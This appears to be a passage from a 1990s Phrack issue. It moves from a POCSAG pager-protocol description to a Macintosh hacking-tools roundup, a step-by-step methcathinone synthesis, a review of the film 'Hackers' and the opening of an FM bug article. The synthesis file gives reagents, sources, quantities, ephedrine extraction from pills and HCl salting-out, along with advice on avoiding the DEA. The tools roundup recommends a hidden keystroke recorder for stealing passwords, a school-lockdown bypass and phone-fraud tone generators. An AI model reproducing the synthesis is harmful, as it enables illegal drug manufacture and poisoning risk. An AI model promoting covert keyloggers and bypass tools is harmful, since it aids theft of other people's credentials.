64-bit address frames of two 32-bit addresses or idle codewords each. The
frame synchronization code marks the start of the batch of codewords.
-PREAMBLE STRUCTURE
The preamble consists of 576 bits of an alternating 101010 pattern transmitted
at a bit rate of 512 or 1200 bps. The decoder uses the preamble both to
determine if the data received is a POCSAG signal and for synchronization with
the stream of data.
|---Preamble----|-----------First Batch-------------|--Subsec. Batch--|
______________________________________________________< <____________
paging | 576 bits of | | | | | | | | | | | > > |
format | reversals |F| | | | | | | | | | | | | | | | |F| |
| (101010, etc) |S| | | | | | | | | | | | | | | | |S| |
|_______________|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|__< <____________|
> >
1 FRAME = 2 CODEWORDS
Preamble Batchs
512 BPS 1125 mS 1062.5 mS
1200 BPS 480 mS 453.3 mS
CodeWords Structure
____________________________________________________________________
BIT | | | | | |
NUMBER | 1 | 2 to 19 | 20,21 | 22 to 31 | 32 |
|___|______________|_______|_______________________|_________________|
____________________________________________________________________
ADDRESS| | | | | |
FORMAT | 0 | Address Bits | S I B | Parity Check Bits | Even parity |
|___|______________|_______|_______________________|_________________|
^
Source identifier bits
____________________________________________________________________
MESSAGE| | | | |
FORMAT | 1 | Message Bits | Parity Check Bits | Even parity |
|___|______________________|_______________________|_________________|
-BATCH STRUCTURE
A batch consist of frame synchronization code follow by 8 frames of two address
codewords per frame (16 address codewords per batch). In order to maintain the
proper batch structure, each frame is filled with two address codewords, or two
idle codewords, or two message codewords, or any appropriate combination of the
three codewords types.
-FRAME SYNCHRONIZATION CODE STRUCTURE
The frame synchronization (FS) code is a unique, reserved word that is used to
identify the beginning of each batch. The FS code comprises the 32 bits:
011111100110100100001010111011000.
-OPTIONAL ALTERNATE FRAME SYNCHRONIZATION CODEWORDS
An alternate frame synchronization (AFS) code can be selected to support special
systems or systems that require increased coding capability. The AFS is
generated in the same manner as an address codeword (i.e., BCH codeword with
parity bits). The POCSAG signaling standard has reserved special codewords for
the AFS from 2,000,000 to 2,097,151. The use of the AFS requires the paging
system to support the AFS. The AFS will change to frame 0 on the programmer
since no frame information is included in the AFS. The AFS should use address
1 so that bit 20 and 21 are 0.
-ADDRESS CODEWORD STRUCTURE
An address codeword's first bit (bit 1) is always a zero. Bits 2 through 19 are
the address bits. The pagers looks at these bits to find its own unique
address. Each POCSAG codeword is capable of providing address information for
four different paging sources (Address 1 to 4). These address are determined
by combinations of values of bits 20 and 21 ( the source-identifier bits). Bits
22 through 31 are the parity check bits, and bit 32 is the even parity bit.
BIT 20 BIT 21
Address 1 0 0
Address 2 0 1
Address 3 1 0
Address 4 1 1
Pre-coded into the code plug are three bits which designate the frame location,
within each batch, at which the pager's address is to be received; the decoder
will look at the codewords in this frame for its address.
Power is removed from the receiver during all frames other than the precoded
one, thus extending pager battery life.
-CODE CAPACITY
The combination of the code plug's three pre-coded frame location bits and address codeword's 18 address bits provides over two million different assignable codes. In this combination, the frame location bits are the least-significant bits, and the addres
s
bits are the most-significant bits.
-MESSAGE CODEWORD STRUCTURE
A message codeword structure always start with a 1 in bit 1 and always follows
directly after the address. Each message codeword replaces an address codeword
in the batch.
-IDLE CODEWORD STRUCTURE
The idle codeword is unique, reserved codeword used to talk place of an address
in any frame that would not otherwise be filled with 64 bits.
Thus, if a frame contains only an address, an idle codeword comprises the 32
bits:
01111010100010011100000110010111
-POCSAG CHARACTERS
CHAR HEX | CHAR HEX | CHAR HEX |
| | |
# 23 | $ 24 | @ 40 |
[ 5B | \ 5C | ] 5D |
^ 5E | _ 5F | ' 60 |
{ 7B | | 7C | } 7D |
~ 7E | DEL 7F | SP 20 |
------------------------------------------------------------------------------
MACINTOSH HACKING
by Logik Bomb
"My fellow astronauts..."
-Dan Quayle
Now, two people have mailed Erik Bloodaxe asking about Macintosh
hacking particularly war dialers, and each time he insulted Macs and tried
to get someone to write a file on it. No one has done it. So I guess I have
to.
First, some words on Macintoshes. Steve Jobs and Steve Wozniak, the
originators of the Apple and the Macintosh were busted for phreaking in
college. The Apple IIe was used almost universally by hackers. So why has
the Mac fallen out of favor for hacking? Simple. Because it fell out of
favor for everything else. Apple screwed up and wouldn't let clone makers
license the MacOS. As a result, 80% of personal computers run DOS, and
Macintoshes are left in the minority. Second, DOS compatible users, and
hackers in particular, have an image of Mac users as a bunch of whiny
lamers who paid too much for a computer and as a result are constantly
defensive. The solution to this impression is to not be an asshole. I know
it drives every Mac user crazy when he reads some article about Windows
95's brand new, advanced features such as "plug-and-play" that the
Macintosh has had since 1984. But just try and take it. If it's any
consolation, a lot of IBM-compatible (a huge misnomer, by the way) users
hate Windows too.
Now, on with the software.
-------------------------
Assault Dialer 1.5
Assault Dialer, by Crush Commando, is the premier Mac war dialer,
the Mac's answer to ToneLoc. It has an ugly interface, but it's the best we
have right now. It is the successor to a previous war dialer known as Holy
War Dialer 2.0. The only real competitor I've heard of for Assault Dialer
is Tyrxis Shockwave 2.0, but the only version I could get a hold of was
1.0, and it wasn't as good as Assault Dialer, so that's your best bet right
now.
MacPGP 2.6.2 and PGPfone 1.0b4
MacPGP is the Macintosh port of the infamous PGP (Pretty Good
Privacy.) This file is not about cryptography, so if you want to know about
PGP read the fuckin' read me and docs that come with the file. Strangely
enough, however, Phil Zimmerman released PGPfone, a utility for encrypting
your phone and making it a secure line, for the Mac _first._ I don't know
why, and I haven't had a chance to test it, but the idea's pretty cool. If
PGP doesn't get Zimmerman thrown in jail, this will.
DisEase 1.0 and DisEase 3.0
Schools and concerned parents have always had a problem. Schools
can't have students deleting the hard drive, and parents don't want their
kids looking at the kinky pictures they downloaded. So Apple came out with
At Ease, an operating system that runs over System 7, sort of the same way
Windows runs off of DOS. However, I can't stand At Ease. Everything about
it, from the Fisher-Price screen to the interface drives me crazy. It
drives a lot of other people crazy too. So it was just a matter of time
before someone made a program to override it. The first was DisEase 1.0, a
small program by someone calling himself Omletman, that would override At
Ease if you put in a floppy loaded with it and clicked six times. Omletman
improved this design and eventually released 3.0. (I haven't been able to
find any evidence that a 2.0 was ever released) 3.0 has such cool features
as reading the preferences file to give you the password, so you can change
the obnoxious greeting teachers always put to something more sinister. The
only problem with 3.0 is that some configurations of At Ease only let
documents be read off of disks; no applications, which means DisEase 3.0
won't appear, and so you can't run it. However, with 1.0 you don't have to
actually open the application, you just click six times, so if you use 1.0
to get to the finder, and then 3.0 to read the passwords, things will work.
Invisible Oasis Installer
Oasis is a keystroke recorder, so you can find out passwords.
However, with the original Oasis, you had to put it in the Extensions
folder and make it invisible with ResEdit, which takes a while. Invisible
Oasis Installer, however, installs it where it should be and automatically
makes it invisible.
"So everything's wrapped up in a nice neat little _package_, then?"
-Homer Simpson
Anonymity 2.0 and Repersonalize 1.0
Anonymity, version 1.2, was a rather old program whose author has
long been forgotten that was the best data fork alterer available. It
removed the personalization to programs. However, in around 1990 someone
named the Doctor made 2.0, a version with some improvements. Repersonalize
was made in 1988 (God, Mac hacking programs are old) which reset
personalization on some of the Microsoft and Claris programs, so you could
enter a different personalization name. I don't know if it will still work
on Microsoft Word 6.0.1 and versions of programs released recently, but I
don't really care because I use Word 5.1a and I'm probably not going to
upgrade for a while.
Phoney (AKA Phoney4Mac)
Phoney is an excellent program that emulates the Blue Box, Red Box,
Black Box and Green Box tones. There is also Phoney4Newton, which does the
same thing on the most portable of computers, the Newton.
That's all I'm covering in this file as far as Mac hacking
programs. You'll probably want to know where to find all this crap, so here
are all of the Mac hacking ftp and Web sites I know of:
Space Rogue's Whacked Mac Archives (http://l0pht.com/~spacerog/index.html)
This site, run by Space Rogue is L0pht Heavy Industries' Mac site.
It is probably the largest and best archive of Mac hacking software
connected to the Internet. The problem with this is that it can't handle
more than two anonymous users, meaning that unless you pay to be part of
L0pht, you will never get into this archive. I've tried getting up at 4:30
AM, thinking that no one in their right mind would possibly be awake at
this time, but there is always, somehow, somewhere, two people in Iceland
or Singapore or somewhere on this site.
The Mac Hacking Home Page (http://www.aloha.com/~seanw/index.html)
This site does not look like much, and it is fairly obvious that
its maintainer, Sean Warren, is still learning HTML, but it is reliable and
is a good archive. It is still growing, probably due to the fact that it is
one of the only Internet Mac hacking sites anyone can get to and upload.
Kn0wledge Phreak <k0p> (http://www.uccs.edu/~abusby/k0p.html)
This is an excellent site and has many good programs. There is one
catch, however. It's maintainer, Ole Buzzard, is actually getting the files
from his BBS. So many of the really good files are locked away in the k0p
BBS, and those of us who can't pay long distance can't get the files. Oh
well.
Bone's H/P/C Page o' rama- part of the Cyber Rights Now! home page
(http://www.lib.iup.edu/~seaman/index.html)
While this is hardly a Macintosh hacking site, it's just a hacking
site, it does have very few Mac files, some of which are hard to get to.
However, Bone might get expelled because of a long story involving AOHell,
so this page might not be here. Then again, maybe Bone won't get expelled
and this site will stay. Never can tell 'bout the future, can you?
"We predict the future. We invent it."
-Nasty government guy on the season premiere of _The X-Files_
Andy Ryder
Netsurfer and Road Warrior on the Info Highway
I've pestered Bruce Sterling _and_ R.U. Sirius!
As mentioned in the alt.devilbunnies FAQ, part I (Look it up!)
Once scored 29,013,920 points on Missile Command
"This Snow Crash thing- is it a virus, a drug, or a religion?"
-Hiro Protagonist
"What's the difference?"
-Juanita Marquez
"...one person's 'cyberpunk' is another's everyday obnoxious teenager with
some technical skill thrown in..."
-Erich Schneider, "alt.cyberpunk Frequently Asked Questions List"
"More than _some_ technical skill."
-Andy Ryder
------------------------------------------------------------------------------
Making Methcathinone
Compiled
by Anonymous
Ok, this has got to be the easiest drug made at home (by far). This is very
similar to methamphetamine in structure, effect, and use. Typical doses
start at 20mg up to 60mg. Start low, go slow. Cat can be taken orally (add
10 mg) or through mucous membranes (nasally).
Ingredients:
Diet pills, or bronchodilator pills (1000 ea) containing 25mg ephedrine.
Potassium chromate, or dichromate (easily gotten from chem lab. orange/red)
Conc. Sulfuric acid - it's up to you where you get this. Contact me if you
need help locating it.
Hydrochloric acid or Muriatic acid - Pool supply stores, hardware stores, it
is used for cleaning concrete.
Sodium Hydroxide - Hardware stores. AKA lye.
Toluene - Hardware store, paint store.
Lab equipment:
1 liter, 3 neck flask - get it from school or Edmund's Scientific ($20.00)
125 mL separatory funnel - same as above
glass tubing - same as above
Buchner funnel - This is a hard to find item, but must schools have at least
one. They are usually white porcelain or plastic. They look
like a funnel with a flat disk in the bottom with lots of
holes in it. If you need one, arrangements can be made.
Aspirator or vacuum pump - Any lab-ware supply catalog, about $10.00
References to Edmund's Scientific Co, in NJ, are accurate. You have to go
to their "Lab Surplus/Mad Scientist" room. The prices are incredible.
This place is definitely a recommended stopping sight for anybody going
through New Jersey. It is located in "Barrington", about 30 minutes from
center city Philadelphia.
All of the above can be purchased from "The Al-Chymist". Their number is
(619)948-4150. Their address is: 17525 Alder #49
Hesperia, Ca 92345
Call and ask for a catalog.
That's it. The body of this article is stolen from the third edition of
"Secrets of Methamphetamine Manufacture" by Uncle Fester. This is a tried
and proven method by many people. If you want a copy of this book, contact
me.
Good luck and keep away from the DEA
M E T H C A T H I N O N E
K I T C H E N I M P R O V I E S E D C R A N K
The latest designer variant upon the amphetamine molecule to gain
popularity and publicity is methcathinone, commonly called cat. This
substance is remarkably similar to the active ingredient found in the
leaves of the khat tree which the loyal drug warriors on the network news
blame for turning peace loving Somalis into murderous psychopaths. The
active ingredient in the khat leaves is cathinone, which has the same
structural relationship to methcathinone that amphetamine has to
methamphetamine. It is made by oxidizing ephedrine, while meth can be
made by reducing ephedrine.
The high produced by methcathinone is in many ways similar to
methamphetamine. For something so easily made and purified, it is
actually quite enjoyable. the main differences between the meth high and
the methcathinone high are length of action and body fell. With
methcathinone, one can expect to still get to sleep about 8 hours after a
large dose. On the down side, it definitely gives me the impression that
the substance raises the blood pressure quite markedly. This drug may not
be safe for people with weak hearts of blood vessels. Be warned!
Cat is best made using chrome in the +6 oxidation state as the
oxidizer. I recall seeing an article in the narco swine's Journal of
Forensic Science bragging about how they worked out a method for making it
using permanganate, but that method gives an impure product in low yields.
Any of the common hexavalent chrome salts can be used as the oxidizer in
this reaction. This list include chrome trioxide (CrO3), sodium or
potassium chromate (Na2CrO4), and sodium or potassium dichromate
(Na2Cr2O7). All of these chemicals are very common. Chrome trioxide is
used in great quantities in chrome plating. The chromates are used in
tanning and leather making.
To make methcathinone, the chemist starts with the water extract of
ephedrine pills. The concentration of the reactants in this case is not
critically important, so it is most convenient to use the water extract of
the pills directly after filtering without any boiling away of the water.
See the section at the beginning of Chapter 15 [I included this at the end
of the file] on extracting ephedrine form pills. Both ephedrine
hydrochloride and sulfate can be used in this reaction.
The water extract of 1000 ephedrine pills is placed into any
convenient glass container. A large measuring cup is probably best since
it has a pouring lip. Next, 75 grams of any of the above mentioned +6
chrome compounds are added. They dissolve quite easily to form a reddish
or orange colored solution. Finally, concentrated sulfuric acid is added.
If CrO3 is being used, 21 mL is enough for the job. If one of the
chromates is being used, 42 mL is called for. These ingredients are
thoroughly mixed together, and allowed to sit for several hours with
occasional stirring.
After several hours have passed, lye solution is added to the batch
until it is strongly basic. Very strong stirring accompanies this process
to ensure that the cat is converted to the free base. Next, the batch is
poured into a sep funnel, and a couple hundred mLs of toluene is added.
Vigorous shaking, as usual, extracts the cat into the toluene layer. It
should be clear to pale yellow in color. The water layer should be orange
mixed with green. The green may settle out as a heavy sludge. The water
layer is thrown away, and the toluene layer containing the cat is washed
once with water, then poured into a beaker. Dry HCl gas is passed through
the toluene as described in Chapter 5 [I included this at the end of the file]
to get white crystals of cat. The yield is between 15 and 20
grams. This reaction is scaled up quite easily.
CHAPTER 15 (part of it anyway)
P R O C E D U R E F O R O B T A I N I N G P U R E E P H E D R I N E
F R O M S T I M U L A N T P I L L S
In the present chemical supply environment, the best routes for making
meth start with ephedrine as the raw material. To use these routes, a
serious hurdle must first be overcome. This hurdle is the fact that the
most easily obtained source of ephedrine, the so-called stimulant or
bronchodilator pills available cheaply by mail order, are a far cry from
the pure starting material a quality minded chemist craves. Luckily,
there is a simple and very low profile method for separating the fillers
in these pills from the desired active ingredient they contain.
A superficial paging through many popular magazines[New Body is where
I found it at GNC] reveals them to be brim full of ads
from mail order outfits offering for sale "stimulant" or "bronchodilator"
pills. These are the raw materials today's clandestine operator requires
to manufacture meth without detection. The crank maker can hide amongst
the huge herd of people who order these pills for the irritating and
nauseating high that can be had by eating them as is. I have heard of a
few cases where search warrants were obtained against people who ordered
very large numbers of these pills, but I would think that orders of up to
a few thousand pills would pass unnoticed. If larger numbers are
required, maybe one's friends could join in the effort.
The first thing one notices when scanning these ads is the large
variety of pills offered for sale. When one's purpose is to convert them
into methamphetamine, it is very easy to eliminate most of the pills
offered for sale. Colored pills are automatically rejected because one
does not want the coloring to be carried into the product. Similarly,
capsules are rejected because individually cutting open capsules is just
too much work. Bulky pills are to be avoided because they contain too much
filler. The correct choice is white cross thins, preferably containing
ephedrine HCl instead of sulfate, because the HCl salt can be used in more
of the reduction routes than can the sulfate.
Once the desired supply of pills is in hand, the first thing which
should be done is to weigh them. This will give the manufacturer an idea
of how much of the pills is filler, and how much is active ingredient.
Since each pill contains 25 milligrams of ephedrine HCl, a 1000 lot bottle
contains 25 grams of active ingredient. A good brand of white cross thins
will be around 33% to 40% active ingredient. 25 grams of ephedrine HCl
may not sound like much, but if it is all recovered from these pills, it
is enough to make from 1/2 to 3/4 ounce of pure meth. This is worth three
or four thousand dollars, not a bad return on the twenty odd dollars a
thousand lot of such pills costs. [I don't know where he got 3 or 4
thousand dollars from, but the pills go for about $35.00/1000 now. 2
months ago they were $25.00 but now they have to do more paper work
because it is a DEA controlled substance]
To extract the ephedrine from the pills, the first thing which must be
done is to grind them into a fine powder. This pulverization must be
thorough in order to ensure complete extraction of the ephedrine form the
filler matrix in which it is bound. A blender does a fine job of this
procedure, as will certain brands of home coffee grinders.
Next, the powder from 1000 pills is put into a glass beaker, or other
similar container having a pouring lip, and about 300 mL of distilled
water is added. Gentle heat is then applied to the beaker, as for example
on a stove burner, and with steady stirring the contents of the beaker are
slowly brought up to a gentle boil. It is necessary to stir constantly
because of the fillers will settle to the bottom of the beaker and cause
burning if not steadily stirred.
Once the contents of the beaker have been brought to a boil, it is
removed from the heat and allowed to settle. Then the water is poured out
of the beaker through a piece of filter paper. The filtered water should
be absolutely clear. Next, another 50 mL of water is added to the pill
filler sludge, and it too is heated with stirring. Finally, the pill
sludge is poured into the filter, and the water it contains is allowed to
filter through. It too should be absolutely clear, and should be mixed in
with the first extract. A little water may be poured over the top of the
filler sludge to get the last of the ephedrine out of it. This sludge
should be nearly tasteless, and gritty in texture. The water extract
should taste very bitter, as it contains the ephedrine.
The filtered water is now returned to the stove burner, and half of
the water it contains is gently boiled away. Once this much water has
been boiled off, precautions should be taken to avoid burning the
ephedrine. The best alternative is to evaporate the water off under a
vacuum. If this is not practical with the equipment on hand, the water
may be poured into a glass baking dish. This dish is then put into the
oven with the door cracked open, and the lowest heat applied. In no time
at all, dry crystals of ephedrine HCl can be scraped out of the baking
dish with a razor blade. The serious kitchen experimenter may wish to
further dry them in a microwave.
Chapter 5 (The part about the HCl gas)
A source of anhydrous hydrogen chloride gas is now needed. The
chemist will generate his own. The glassware is set up as in Figure 1.
He will have to bend another piece of glass tubing to the shape shown. It
should start out about 18 inches long. One end of it should be pushed
through a one hole stopper. A 125 mL sep funnel is the best size. The
stoppers and joints must be tight, since pressure must develop inside this
flask to force the hydrogen chloride gas out through the tubing as it is
generated.
Into the 1000 mL, three-necked flask is placed 200 grams of table
salt. Then 25% concentrated hydrochloric acid is added to this flask until
it reaches the level shown in the figure. The hydrochloric acid must be
of laboratory grade [I use regular muriatic acid for pools].
Figure 1:
\ /
\ /ķ
ֽ ӷ <--125 mL separatory funnel
ӷ ֽ
ķ Ľ glass tubing Ŀ
ӷ ֽ
ͻ
stopcock->ۺĴ Salt and Hydrochloric acid
stopper ->ķ \/з ķ <-1 hole mixed into a paste by add-
ĺ ĺ stopper ing HCL to salt and mixing.
Ľ Ľ Ľ ķ The surface should be rough
ֽ ӷ and a good number of holes
should be poked into the
1000 mL, 3 neck flask paste for long lasting
generation of HCl gas.
ӷ acid/salt level ֽ
ķ Ľ
ķ Ľ
ķ Ľ
Ľ
Some concentrated sulfuric acid (96-98%) is put into the sep funnel
and the spigot turned so that 1 mL of concentrated sulfuric acid flows
into the flask. It dehydrates the hydrochloric acid and produces hydrogen
chloride gas. This gas is then forced by pressure through the glass
tubing.
One of the Erlenmeyer flasks containing methamphetamine in solvent is
placed so that the glass tubing extends into the methamphetamine, almost
reaching the bottom of the flask. Dripping in more sulfuric acid as
needed keeps the flow of gas going to the methamphetamine. If the flow if
gas is not maintained, the methamphetamine may solidify inside the glass
tubing, plugging it up.
Within a minute of bubbling, white crystals begin to appear in the
solution, More and more of them appear as the process continues. It is an
awe-inspiring sight. In a few minutes, the solution becomes as thick as
watery oatmeal.
It is now time to filter out the crystals, which is a two man job.
The flask with the crystals in it is removed from the HCl source and
temporarily set aside. The three-necked flask is swirled a little to
spread around the sulfuric acid and then the other Erlenmeyer flask is
subjected to a bubbling with HCl. While this flask is being bubbled, the
crystals already in the other flask are filtered out.
The filtering flask and Buchner funnel are set up as shown in figure
2. The drain stem of the buchner funnel extends all the way through the
rubber stopper, because methamphetamine has a nasty tendency to dissolve
rubber stoppers. This would color the product black. A piece of filter
paper covers the flat bottom of the Buchner funnel. The vacuum is turned
on and the hose attached to the vacuum nipple. Then the crystals are
poured into the Buchner funnel. The solvent and uncrystallized
methamphetamine pass through the filter paper and the crystals stay in the
Buchner funnel as a solid cake. About 15 mL of solvent is poured into the
Erlenmeyer flask. the top of the flask is covered with the palm and it is
shaken to suspend the crystals left clinging to the sides. This is also
poured into the Buchner funnel. Finally, another 15 mL of solvent is
poured over the top of the filter cake.
Figure 2:
Ŀ
<-Bchner Funnel
___________
\ /
\ /
\ /
Ŀ
<--To vacuum
Ŀ
Ŀ
Filtering
flask-->
Now the vacuum hose is disconnected and the Buchner funnel, stopper
and all, is pulled from the filtering flask. All of the filtered solvent
is poured back into the erlenmeyer flask it came from. It is returned to
the HCl source for more bubbling. The Buchner funnel is put back into the
top of the filtering flask. It still contains the filter cake of
methamphetamine crystals. It will now be dried out a little bit. The
vacuum is turned back on, the vacuum hose is attached to the filtering
flask, and the top of the Buchner funnel is covered with the palm or
section of latex rubber glove. The vacuum builds and removes most of the
solvent from the filter cake. This takes about 60 seconds. The filter
cake can now be dumped out onto a glass or China plate (not plastic) by
tipping the Buchner funnel upside-down and tapping it gently on the plate.
And so, the filtering process continues, one flask being filtered
while the other one is being bubbled with HCl. Solvent is added to the
Erlenmeyer flask to keep their volumes at 300 mL. Eventually, after each
flask has been bubbled for about seven times, no more crystal will come
out and the underground chemist is finished.
If ether was used as the solvent, the filter cakes on the plates will
be nearly dry now. With a knife from the silverware drawer, the cakes are
cut into eighths. They are allowed to dry out some more then chopped up
into powder. If benzene was used, this process takes longer. Heat lamps
may be used to speed up this drying, but no stronger heat source.
[The above section of chapter 5 is talking about methamphetamine. You
could, in most instances, substitute the word methcathinone, but I wanted
to present the text to you in its exact form.]
------------------------------------------------------------------------------
Review of "HACKERS"
By Wile Coyote
Sorry, it might be a little long... cut it to ribbons if you want, most
of it is just a rant anyway... Hope you enjoy it.
First off, I have to admit that I was biased going into the movie
"Hackers"... I heard that it wasn't going to be up to snuff, but did I
let that stop me? No, of course not... I sucked up enough courage to
stride towards my girlfriend and beg for seven bucks... :) She ended up
wanting to see the movie herself (and sadly, she rather enjoyed it...
oh, well, what can you do with the computer illiterate or is it the
computer illegitimate?). Now onto....
THE MOVIE
(Yes, I AM going to give you a second-by-second playback of the
movie... you don't want me to spoil the plot, you say? Well, don't
worry, there is no plot to spoil! :) just kidding, go see it... maybe
you'll like it...)
Well, from the very first few seconds, I was unimpressed... It begins
with an FBI raid on some unsuspecting loose (who turns out to be the
main character, but that's later) named Zero Cool (can you say "EL1EEEEET
WaReZ D00D!!!!!!!1!!!!!111!!!!"). The cinematography was bad... (Hey,
cinematography counts!) But, the acting was worse. The Feds bust into
this home and run up the stairs, all while this lady (the mom) just kind
of looks on dumbfounded and keeps saying stuff like "hey, stop that...",
or something (is this what a raid is like? I've never had the pleasure...)
Ok, so the story goes on like this: The 11 year old kid made a computer
virus that he uploads to, I think, the NY stock exchange, and it crashes
1,507 computers. There is a really lame court scene where the kid is
sentenced to 7 years probation where he can't use a computer or a
touch-tone phone... That was 1988...
Time passes... Now it's 1995, and boy have things changed (except the
mom... hmmm....). Now the ex-hacker is allowed to use a computer (his
18th b-day) and (somehow) he is just a natural at hacking, and is (gold?)
boxing some TV station to change the program on television (yes, I know
that all of you super-el33t hackers hack into TV stations when you don't
like what's on Ricki Lake!). N-e-way, while hacking into their
super-funky system (the screen just kind of has numbers moving up and
down the screen like some kind of hex-editor on acid...)
he gets into a "hacking battle" with some other hacker called Acid Burn
(I don't think I have ever seen such a trippy view of the "Internet"...
lots of Very high-end graphics, not very realistic, but it's Hollywood...).
In the end, the other hacker kicks the shit out of him (he has changed
his handle to Crash Override now, just to be cool, i guess) and logs him
off the TV station. Wow, tense... cough...
For those of you who care, let me describe the "hacker" Crash Override:
He is definitely super-funky-coole-mo-d-el31t-to-the-max, 'cause he is
(kinda) built, and wears VERY wicky (wicky : <adjective> weird plus wacky)
clothes, and the CDC might have quite a bit to say about the amount of
leather he wears... I mean, there are limits to that kind of stuff, man!
And to top off his coolness, he is, like, the roller-blade king of the
world. (Not that hackers don't roller-blade, but he does it just Soooo
much cooler than I could... :) ). And yet, here's the nifty part,
despite all of his deft coolness, he couldn't get a girl for the life
of him (we all morn for him in silent prayer).
Ok, so now Crash is at school, and he meets Wonderchick (who is
EXACTLYFUCKINGLIKEHIM, and is , of course, an 3L31t hackerette... ok, she
is Acid Burn, the bitch who "kicked" him out of the TV station, sorry to
spoil the suspense).
Now, while at school, he wants to hook up with wonderchick, so he breaks
into the school's computer (it must be a fucking Cray to support all of
the high-end-type graphics that this dude is pulling up) and gets his
English(?) class changed to hers. So, some other super-d00dcool hacker
spots him playing around with the schools computer (it's funny how may
elite hackers one can meet in a new york public school...), so he
catches up with Crash and invites you to an elite (Oh, if you ever want
to see a movie where the word 3l333333333t is used, like a fucking
million times, then go see Hackers...) hackerz-only club, complete with
million-dollar virtual-reality crap and even a token phreaker trying to
red-box a pay-phone with a cassette recorder (never mind that the music is
about 197 decibels, the phone can still pick up the box tones...).
What follows is that Crash meets up with some seriously k-rad hackers
(Cereal Killer : reminds you of Mork & Mindy meets Dazed and Confused; and
Phantom Phreak : who reminds of that gay kid on "my so called life...
maybe that was him?";Lord Nikon : the token black hacker... Photographic
memory is his super-power). They talk about k00l pseudo-hacker shit and
then a l00ser warez-type guy comes up and tries to be El33t like everybody
else. He is just about the ONLY realistic character in the whole movie.
He acts JUST like a wannabe "Hiya D00dz, kan eye b k0ewl too?". He keeps
saying "I need a handle, then I'll be el33t!". (Why he can't just pick
his own handle, like The Avenging Turd or something, is beyond me... He
plays lamer better than the kids in Might Morphin Power Rangers... awesome
actor!). N-e-way, this is where the major discrepancies start. Ok,
first they try to "test" Lamerboy by asking him what the four most used
passwords are. According to the movie, they are "love, sex, god, and
secret". (Hmmmm.... I thought Unix required a 6-8 char. password....).
Somehow lamerboy got into a bank and screwed with an ATM machine four
states away; all of the hacker chastise him for being stupid and hacking
at home (If you watch the movie, you'll notice that the hackers use just
about every pay-phone in the city to do their hacking, no, THAT doesn't
look suspicious)Next they talk about "hacking a Gibson".
(I was informed that they WANTED to use "hacking a Cray",
but the Cray people decided that they didn't want THAT kind of publicity.
I've never heard of a Gibson in real life, though...).
They talk about how k-powerful the security is on a Gibson, and they say
that if Lamerboy can crack one, then he gets to be elite.
Soooooooo.... As the movie Sloooowly progresses (with a lot of Crash
loves Wonderchick, Wonderchick hates Crash kind of stuff) Lamerboy
finally cracks a Gibson with the password God (never mind a Login name or
anything that cool). Then the cheese begins in full force. The Gibson
is like a total virtual-reality thingy. Complete with all sorts of cool
looking towers and neon lightning bolts and stuff. Lamerboy hacks into a
garbage file (did I mention that the entire world is populated by Macs?
Oh, I didn't... well, hold on :)...). So, this sets alarms off all
over the place (cause a top-secret file is hidden in the garbage, see?),
and the main bad-guy, security chief Weasel, heads out to catch him. He
plays around with some neon, star-trek-console, buttons for a while,
then calls the "feds" to put a trace on the kid. La de da, ess catches him
in a second, and the kid only gets half of the file, which he hides.
(to spoil the suspense, yet again, the file is some kind of money getting
program, like the kind some LOD members wrote about a long time ago in
Phrack, which pulls money from each transaction and puts it into
a different account. Needless to say, the Security Weasel is the guy who
wrote it, which is why he needs it back, pronto!).
As we travel along the movie, the hackers keep getting busted for tapping
into the Gibson, and they keep getting away. The "action" heats up when
Wonderchick and Crash get into a tiff and they decide to have a hacking
contest... They go all over the city trying their best to fuck with
the one fed they don't like.... Brilliant move, eh? The movie kind of
reaches a lull when, at a party at Wonderchick's house, they see a k-rad laptop.
They all fondle over the machine with the same intensity that Captain Kirk
gave to fighting Klingons, and frankly, their acting abilities seems
to ask "please deposit thirty-five cents for the next three minutes".
It was funny listening to the actors, 'cause they didn't know shit about
what they were saying... Here's a clip:
Hey, cool, it's got a 28.8 bps modem! (Yep, a 28.8 bit modem... Not
Kbps, mind you :)...I wonder where they designed a .8 of a bit?)
Yeah! Cool... Hey what kind of chip does it have in it?
A P6! Three times faster than a Pentium.... Yep, RISC is the wave of
the future... (I laughed so hard..... Ok, first of all, it is a Mac.
Trust me, it has the little apple on the cover. Second it has a P6, what
server she ripped this out of, I dare not ask. How she got that
bastard into a laptop without causing the casing to begin melting is
yet another problem... those get very hot, i just read about them
in PC magazine (wow, I must be elite too). Finally, this is a *magic* P6,
because it has RISC coding....
I kinda wished I had stayed for the credits to see the line:
Technical advisor None.... died on route to work...)
Finally they ask something about the screen, and they find out it is
an..... hold your breath.... ACTIVE MATRIX! ... Kick ass!
They do lots of nifty things with their magic laptops (I noticed that they
ALL had laptops, and they were ALL Macintoshes. Now, I'm not one to say
you can't hack on a mac, 'cause really you can hack on a TI-81 if you've
got the know.... but please, not EVERYONE in the fucking movie
has to have the exact same computer (different colors, though... there
was a really cool clear one).... it got really sad at the end), and they
finally find out what the garbage file that Lamerboy stole was, this time
using a hex editor/CAD program of some sort.
As we reach the end of the movie, the hackers enlist the help of two very
strangely painted phone phreaks who give the advice to the hackers to send
a message to all of the hackers on the 'net, and together, they all
kicked some serious ass with the super-nifty-virtual-reality Gibson.
In the end, all of the Hackers get caught except for one, who pirates all
of the TV station in the world and gives the police the "real" story...
So, the police politely let them go, no need for actually proving that the
evidence was real or anything, of course.
So, in the end, I had to say that the movie was very lacking. It seemed
to be more of a Hollywood-type flashy movie, than an actual documentary
about hackers. Yes, I know an ACTUAL movie about hacker would suck, but
PLEASE, just a LITTLE bit of reality helps keep the movie grounded. It
may have sucked less if they didn't put flashing, 64 million color,
fully-rendered, magically delicious pictures floating all over the screen
instead of just a simple "# " prompt at the bottom. With all of the
super-easy access to all of the worlds computers, as depicted in the movie,
ANYBODY can be a hacker, regardless of knowledge, commitment, or just
plain common sense. And that's what really made it suck...
Hope you enjoyed my review of HACKERS!
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 4 of 18
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
// \\/ \\ // // ===/ ====
PART II
------------------------------------------------------------------------------
+===================================+
| CONSTRUCTING AN FM BUG |
| -------------------- |
| |
| written by |
| + Obi-1 |
| * edjjs@cc.newcastle.edu.au|
| * * |
| |
| $ Written for Phrack |
| x$x if any other magazine |
| $ wishes to print this |
| x$x article they must let the |
| author know in advance |
+===================================+
INTRODUCTION
Before anything this article sole purpose is to teach everyone
out there about electronics. If you do build it use it at your own risk.
